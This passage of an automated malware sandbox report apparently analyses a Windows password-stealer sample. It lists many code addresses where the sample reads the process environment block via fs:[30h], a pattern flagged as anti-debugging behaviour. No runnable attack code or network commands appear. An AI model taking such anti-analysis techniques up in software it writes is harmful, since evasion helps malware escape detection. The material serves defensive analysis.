Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A309 mov eax, dword ptr fs:[00000030h]	10_2_0180A309
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A131B mov eax, dword ptr fs:[00000030h]	10_2_018A131B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E1BE9 mov eax, dword ptr fs:[00000030h]	10_2_017E1BE9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8B58 mov eax, dword ptr fs:[00000030h]	10_2_018B8B58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813B5A mov eax, dword ptr fs:[00000030h]	10_2_01813B5A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813B5A mov eax, dword ptr fs:[00000030h]	10_2_01813B5A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813B5A mov eax, dword ptr fs:[00000030h]	10_2_01813B5A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813B5A mov eax, dword ptr fs:[00000030h]	10_2_01813B5A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01876365 mov eax, dword ptr fs:[00000030h]	10_2_01876365
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01876365 mov eax, dword ptr fs:[00000030h]	10_2_01876365
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01876365 mov eax, dword ptr fs:[00000030h]	10_2_01876365
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E4B94 mov edi, dword ptr fs:[00000030h]	10_2_017E4B94
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F1B8F mov eax, dword ptr fs:[00000030h]	10_2_017F1B8F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F1B8F mov eax, dword ptr fs:[00000030h]	10_2_017F1B8F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813B7A mov eax, dword ptr fs:[00000030h]	10_2_01813B7A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01813B7A mov eax, dword ptr fs:[00000030h]	10_2_01813B7A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181DA88 mov eax, dword ptr fs:[00000030h]	10_2_0181DA88
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181DA88 mov eax, dword ptr fs:[00000030h]	10_2_0181DA88
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A129A mov eax, dword ptr fs:[00000030h]	10_2_018A129A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181D294 mov eax, dword ptr fs:[00000030h]	10_2_0181D294
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181D294 mov eax, dword ptr fs:[00000030h]	10_2_0181D294
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01815AA0 mov eax, dword ptr fs:[00000030h]	10_2_01815AA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01815AA0 mov eax, dword ptr fs:[00000030h]	10_2_01815AA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181FAB0 mov eax, dword ptr fs:[00000030h]	10_2_0181FAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018112BD mov esi, dword ptr fs:[00000030h]	10_2_018112BD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018112BD mov eax, dword ptr fs:[00000030h]	10_2_018112BD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018112BD mov eax, dword ptr fs:[00000030h]	10_2_018112BD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E9240 mov eax, dword ptr fs:[00000030h]	10_2_017E9240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E9240 mov eax, dword ptr fs:[00000030h]	10_2_017E9240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E9240 mov eax, dword ptr fs:[00000030h]	10_2_017E9240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E9240 mov eax, dword ptr fs:[00000030h]	10_2_017E9240
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E8239 mov eax, dword ptr fs:[00000030h]	10_2_017E8239
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E8239 mov eax, dword ptr fs:[00000030h]	10_2_017E8239
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E8239 mov eax, dword ptr fs:[00000030h]	10_2_017E8239
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812ACB mov eax, dword ptr fs:[00000030h]	10_2_01812ACB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8ADD mov eax, dword ptr fs:[00000030h]	10_2_018B8ADD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E4A20 mov eax, dword ptr fs:[00000030h]	10_2_017E4A20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E4A20 mov eax, dword ptr fs:[00000030h]	10_2_017E4A20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812AE4 mov eax, dword ptr fs:[00000030h]	10_2_01812AE4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A4AEF mov eax, dword ptr fs:[00000030h]	10_2_018A4AEF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EAA16 mov eax, dword ptr fs:[00000030h]	10_2_017EAA16
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EAA16 mov eax, dword ptr fs:[00000030h]	10_2_017EAA16
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5210 mov eax, dword ptr fs:[00000030h]	10_2_017E5210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5210 mov ecx, dword ptr fs:[00000030h]	10_2_017E5210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5210 mov eax, dword ptr fs:[00000030h]	10_2_017E5210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5210 mov eax, dword ptr fs:[00000030h]	10_2_017E5210
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F8A0A mov eax, dword ptr fs:[00000030h]	10_2_017F8A0A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01803A1C mov eax, dword ptr fs:[00000030h]	10_2_01803A1C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AAA16 mov eax, dword ptr fs:[00000030h]	10_2_018AAA16
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AAA16 mov eax, dword ptr fs:[00000030h]	10_2_018AAA16
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1229 mov eax, dword ptr fs:[00000030h]	10_2_018A1229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180A229 mov eax, dword ptr fs:[00000030h]	10_2_0180A229
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E12D4 mov eax, dword ptr fs:[00000030h]	10_2_017E12D4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01824A2C mov eax, dword ptr fs:[00000030h]	10_2_01824A2C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01824A2C mov eax, dword ptr fs:[00000030h]	10_2_01824A2C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E3ACA mov eax, dword ptr fs:[00000030h]	10_2_017E3ACA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B236 mov eax, dword ptr fs:[00000030h]	10_2_0180B236
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B236 mov eax, dword ptr fs:[00000030h]	10_2_0180B236
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B236 mov eax, dword ptr fs:[00000030h]	10_2_0180B236
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B236 mov eax, dword ptr fs:[00000030h]	10_2_0180B236
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B236 mov eax, dword ptr fs:[00000030h]	10_2_0180B236
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180B236 mov eax, dword ptr fs:[00000030h]	10_2_0180B236
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5AC0 mov eax, dword ptr fs:[00000030h]	10_2_017E5AC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5AC0 mov eax, dword ptr fs:[00000030h]	10_2_017E5AC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E5AC0 mov eax, dword ptr fs:[00000030h]	10_2_017E5AC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FAAB0 mov eax, dword ptr fs:[00000030h]	10_2_017FAAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017FAAB0 mov eax, dword ptr fs:[00000030h]	10_2_017FAAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01874257 mov eax, dword ptr fs:[00000030h]	10_2_01874257
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A1A5F mov eax, dword ptr fs:[00000030h]	10_2_018A1A5F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E52A5 mov eax, dword ptr fs:[00000030h]	10_2_017E52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E52A5 mov eax, dword ptr fs:[00000030h]	10_2_017E52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E52A5 mov eax, dword ptr fs:[00000030h]	10_2_017E52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E52A5 mov eax, dword ptr fs:[00000030h]	10_2_017E52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E52A5 mov eax, dword ptr fs:[00000030h]	10_2_017E52A5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E1AA0 mov eax, dword ptr fs:[00000030h]	10_2_017E1AA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AEA55 mov eax, dword ptr fs:[00000030h]	10_2_018AEA55
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0189B260 mov eax, dword ptr fs:[00000030h]	10_2_0189B260
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0189B260 mov eax, dword ptr fs:[00000030h]	10_2_0189B260
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B8A62 mov eax, dword ptr fs:[00000030h]	10_2_018B8A62
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01825A69 mov eax, dword ptr fs:[00000030h]	10_2_01825A69
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01825A69 mov eax, dword ptr fs:[00000030h]	10_2_01825A69
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01825A69 mov eax, dword ptr fs:[00000030h]	10_2_01825A69
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0182927A mov eax, dword ptr fs:[00000030h]	10_2_0182927A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812581 mov eax, dword ptr fs:[00000030h]	10_2_01812581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812581 mov eax, dword ptr fs:[00000030h]	10_2_01812581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812581 mov eax, dword ptr fs:[00000030h]	10_2_01812581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812581 mov eax, dword ptr fs:[00000030h]	10_2_01812581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2D82 mov eax, dword ptr fs:[00000030h]	10_2_018A2D82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2D82 mov eax, dword ptr fs:[00000030h]	10_2_018A2D82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2D82 mov eax, dword ptr fs:[00000030h]	10_2_018A2D82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2D82 mov eax, dword ptr fs:[00000030h]	10_2_018A2D82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2D82 mov eax, dword ptr fs:[00000030h]	10_2_018A2D82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2D82 mov eax, dword ptr fs:[00000030h]	10_2_018A2D82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A2D82 mov eax, dword ptr fs:[00000030h]	10_2_018A2D82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AB581 mov eax, dword ptr fs:[00000030h]	10_2_018AB581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AB581 mov eax, dword ptr fs:[00000030h]	10_2_018AB581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AB581 mov eax, dword ptr fs:[00000030h]	10_2_018AB581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AB581 mov eax, dword ptr fs:[00000030h]	10_2_018AB581
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181FD9B mov eax, dword ptr fs:[00000030h]	10_2_0181FD9B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181FD9B mov eax, dword ptr fs:[00000030h]	10_2_0181FD9B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018135A1 mov eax, dword ptr fs:[00000030h]	10_2_018135A1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018165A0 mov eax, dword ptr fs:[00000030h]	10_2_018165A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018165A0 mov eax, dword ptr fs:[00000030h]	10_2_018165A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018165A0 mov eax, dword ptr fs:[00000030h]	10_2_018165A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B05AC mov eax, dword ptr fs:[00000030h]	10_2_018B05AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018B05AC mov eax, dword ptr fs:[00000030h]	10_2_018B05AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E354C mov eax, dword ptr fs:[00000030h]	10_2_017E354C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E354C mov eax, dword ptr fs:[00000030h]	10_2_017E354C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01811DB5 mov eax, dword ptr fs:[00000030h]	10_2_01811DB5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01811DB5 mov eax, dword ptr fs:[00000030h]	10_2_01811DB5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01811DB5 mov eax, dword ptr fs:[00000030h]	10_2_01811DB5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017F3D34 mov eax, dword ptr fs:[00000030h]	10_2_017F3D34
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EAD30 mov eax, dword ptr fs:[00000030h]	10_2_017EAD30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866DC9 mov eax, dword ptr fs:[00000030h]	10_2_01866DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866DC9 mov eax, dword ptr fs:[00000030h]	10_2_01866DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866DC9 mov eax, dword ptr fs:[00000030h]	10_2_01866DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866DC9 mov ecx, dword ptr fs:[00000030h]	10_2_01866DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866DC9 mov eax, dword ptr fs:[00000030h]	10_2_01866DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01866DC9 mov eax, dword ptr fs:[00000030h]	10_2_01866DC9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0189FDD3 mov eax, dword ptr fs:[00000030h]	10_2_0189FDD3
